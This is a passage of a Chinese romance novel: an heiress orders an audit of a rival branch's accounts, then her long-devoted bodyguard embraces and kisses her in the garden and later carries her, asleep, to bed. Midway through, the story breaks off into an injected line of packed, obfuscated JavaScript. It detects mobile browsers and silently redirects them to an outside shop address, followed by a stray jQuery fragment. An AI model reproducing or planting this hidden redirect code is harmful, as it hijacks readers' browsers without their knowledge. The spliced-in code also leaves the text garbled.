央光入夏之后，天亮得格外早。
张姿宁是被窗外的鸟鸣吵醒的。她翻了个身，抬手遮住眼睛，缓了几秒才从混沌中抽离出来，昨夜那些画面争先恐后地涌入脑海，还有他最后那句“您再这么看着我，我就真的控制不住了”。她攥着被角骂了一声，翻身坐起来。
她走进浴室，洗漱完后，用冷水洗了一把脸，随后换了衣服下楼。
别墅里很安静，老谢已经在院子里扫地了，阿姨在厨房准备早餐。张姿宁走到餐厅，视线不自觉地扫了一圈，发现程木不在。
她没问阿姨程木去了哪。问了显得她太在意，不问又显得她太刻意。最后她选择什么都不说，拿上手机走到院子里。今天是红头文件下发的第三天，她总得有些行动。她站在凤凰木树荫下，拨通颂帕的电话。
“我把系统权限给你，你去把二房的电子账目全部调过来。”
“是。”颂帕应下，又补充一句：“不过内容有点多，快的话今晚，慢的话明早。”
张姿宁“嗯”了一声，目光落在地上的凤凰花瓣上，“还有，通知二房那边把纸质账目准备好，我要查。”
“明白。”颂帕顿了顿，“大小姐，您今天回墁德勒吗？”
“不一定。”她说着，忽然感觉到身后有人靠近。她没有回头，但猜到是谁。她的心跳忽然加快，那些被压下去的躁动又窜上来，烧得她耳廓隐隐发烫。
“先这样。”她快速挂断了电话。
手机屏幕暗下去，她还没来得及把手机放回口袋，身后的人就已经贴了上来。程木的胸膛压上她的后背，手臂从两侧环过来，在她小腹前交叠，收得很紧。他的下巴埋进她的颈窝，埋进去前故意蹭过她耳后，他鼻尖带着几分凉意，让她不由地缩了一下。
张姿宁握着手机的手指收紧了几分。
“程木。”她出声，声音听起来还算平静，“你什么时候来的？”
“刚才。”他的声音沙哑，像是刚醒不久，又像是一整晚都没睡好。他的嘴唇贴在她耳廓下方，“大小姐打电话的时候，我就站在走廊里看着您了。”
“在和谁打电话？”他顿了顿，又问：“颂帕？”
“嗯。”
她偏了偏头，侧着脸看他。从这个角度只能看见他垂下的睫毛和挺拔的鼻梁，他的眼皮微微合着，整个人从背后裹上来把她圈住，那种无声的占有感铺天盖地地压下来，让她无处可逃。
“你昨晚睡好了吗？”她问。
他的嘴唇贴着她的颈侧，轻声：“没有。”
“为什么？”她明知故问。
“大小姐在我隔壁。”他说，“隔着一堵墙。”
张姿宁的嘴角弯起来，转过身面对他。他的手臂没有松开，圈在她腰侧的手依旧收得很紧，她转身的动作反而让他顺势把她整个人拢进了怀里。
晨光从侧面照过来，他的嘴角抿成一条克制而紧绷的线，看起来冷静自持。可环在她腰间的手臂是滚烫的，掌心贴着她的后腰，将她死死禁锢在怀中。
“一堵墙而已。”张姿宁仰头看着他，笑眼弯弯，“你要是实在睡不着，怎么不过来？”
程木的喉结上下滚了一下。他低头看她，睫毛垂下来遮住眼底翻涌的浪潮，“大小姐说这种话，”他开口，声音低沉而缓慢，“是会出事的。”
“出什么事？”她问。
他不再回答，只是低下头吻她，力道克制，但渐渐失去控制变得凶猛。清晨的风从院子里穿过来，头顶的凤凰木被吹得沙沙响，几朵落花坠下来蹭过他的肩头又落在地上，可他们谁都没去在意。
张姿宁的后腰被他单手扣住往怀里带，另一只手抵在她后背与树干的缝隙里，把她整个人困在双臂之间。
他的吻一路向下，在锁骨上方停住，嘴唇贴着那片皮肤轻轻磨着，不轻不重，刚好留下一点浅粉色痕迹。张姿宁仰着头呼吸微乱，指尖插进他发间攥紧了，“程木，你是不是故意的？”
“故意什么？”他低声问。
“故意一大早就来折腾我。”
他没有说话，低笑一声。就那一瞬间，张姿宁的心跳彻底乱了。程木在她面前从来都是恭顺的、克制的，不敢越雷池一步。可她昨天夜里把那条链子解开了，今天他贴上来时眼底却带着贪恋的神色。
像是装太久，终于摊牌不装了。
“大小姐。”他的声音从她颈侧传上来，嘴唇还贴着她锁骨上方那一小片微红的皮肤，“您昨晚说，让我当人。”
张姿宁垂眸看他，“嗯，我说过。”
程木抬起头对上她的眼睛。
“那我问您，”他说，“您给我这个人的位置，是什么？”
张姿宁看着他，随即伸手拨开他额前垂落的碎发，指尖点着他眉心轻轻划过。
“你觉得是什么，就是什么。”
程木盯着她看了几秒，忽然低头把脸埋进她颈窝里。她感觉到他环在她腰上的手臂收紧了，贴着她后腰的手掌微微发颤。
他什么都没说，可他的心跳却出卖了他。程木这个人，话不多，但每一个动作都像在说“你把我拴住，我就再也不松了”。
两个人从院子里回到别墅里的时候，老谢正好提着扫帚从廊下经过，远远地看见他们一前一后走进来，识趣地低下了头，假装什么都没看见。
她穿过前厅，走到客厅那组宽大的皮质沙发边坐下来，随手从茶几上拿起一本翻了一半的书。
程木没有跟进去。他背靠着门框，双手插在裤兜里，目光追随着她坐下来的动作。她低头翻了一页书，碎发从耳后滑落下来，她随手别回去。
他看了一会儿，然后转身朝厨房走去。
张姿宁听见了脚步声远去，才把视线从书页上抬起来。客厅里空荡荡的，只剩下她一个人。她靠在沙发靠背上，书页上的字模糊成一片，看不进去。
太阳越来越高，从落地窗照进来，落在沙发扶手上，暖洋洋的。她的眼皮渐渐开始发沉。这几天她一直没有好好睡过，过去那些事情全压在脑子里。
她握着书的手慢慢松开了。书从指尖滑落，掉在沙发垫上。她歪着头靠在沙发扶手上，眼睛轻微闭上了。
程木端着一杯温牛奶从厨房走出来的时候，看见的就是这副景象。
她蜷在沙发里睡着了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17668945|207014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
程木站在客厅入口，就那么看了她好一会儿。
他放轻脚步走过去，把牛奶轻轻搁在茶几上。他在沙发边缘蹲下来，视线从她的眉眼滑到她的下巴，最后落在那只垂在沙发边缘的手上。指尖微微蜷着，没有握紧，像是睡着了也没能完全放松下来。
程木的眼睫垂下来，嘴角一弯。他站起身，弯腰把她从沙发上抱起来。她的身体落在他的臂弯里。她的头自然地靠在他肩膀上，呼吸拂过他的颈侧。
程木抱着她往楼梯走去。每走一步，他都能感觉到她的重量沉甸甸地压在他胸口。这个他从小看着长大、从来不敢肖想的女人，此刻正毫无防备地躺在他怀里。他的步伐不知不觉地放慢了，他不想走完这段路。
他在楼梯拐角的地方停下来。
她依然没有醒。她睡着的时候和醒着的时候判若两人，没有锋利的棱角，没有那些用来保护自己的嚣张和张扬，只剩下一张安静的脸。
程木低下头，嘴唇极轻地吻上她的额头。
然后他继续往上走。
上了二楼，他推开主卧的门走进去，床单被套早上刚换过，还是他亲手换的，带着一点皂液的清香。
他把她轻轻放在床上，她的后背刚碰到床面，眉头就蹙了一下。他停住动作，保持着弯腰的姿势，等她重新安静下来才慢慢抽回手。
她的手指在这时候动了，无意识地攥住了他的手。
程木的动作僵住了。
他站在床边，弯着腰，被她攥着，进退两难。
他没有再试图抽回手。
他就那么维持着那个姿势，单膝撑在床沿上，另一只手撑在她耳侧的床面上。他低头看着她的手。
他忽然想起很多年前，她站在雨里给他撑伞的样子。那时候他蹲在地上，她站在他身后，伞面倾斜过来遮住了头顶的雨。
他从那时候就想走近她，可他从那时候就知道自己离她太远。他走了十三年，也只能站在她身后看着她。
程木在她旁边坐了下来。床垫陷下去一点，她的身体自然地往他那边偏了偏，脸转过来靠在他大腿侧面。
他伸手，轻轻拨开她脸颊上那缕碎发，指腹在她颧骨上方停留了一瞬。
“张姿宁。”他低声叫她的全名。
她攥着他的手终于动了动，好像在梦里感觉到了什么，又慢慢松开。他没有抽手。他把另一只手覆在她手背上，轻轻扣住，像在说：我没走。
楼下传来老谢跟阿姨说话的声音，程木没有去细听，只是低头看着她，目光沉静而专注。
窗外那棵凤凰木被风吹动，几片花瓣从敞开的窗户飘进来，落在地板上，无声无息。
她这辈子握过很多人的手，见过很多人的脸，可她从来不知道，有一个从小看着她长大的人，一直在等她回头。
她今天回头了，他就再也不会往后退。
阳光从窗外移进来，落在两个人交握的手上。程木垂着眼，看着那只被他扣在手心里的手，嘴角挂着一抹笑。
“张姿宁，”他压低声音，像是说给自己听，“你把我拴住了。”
而她睡得很沉，没有听见。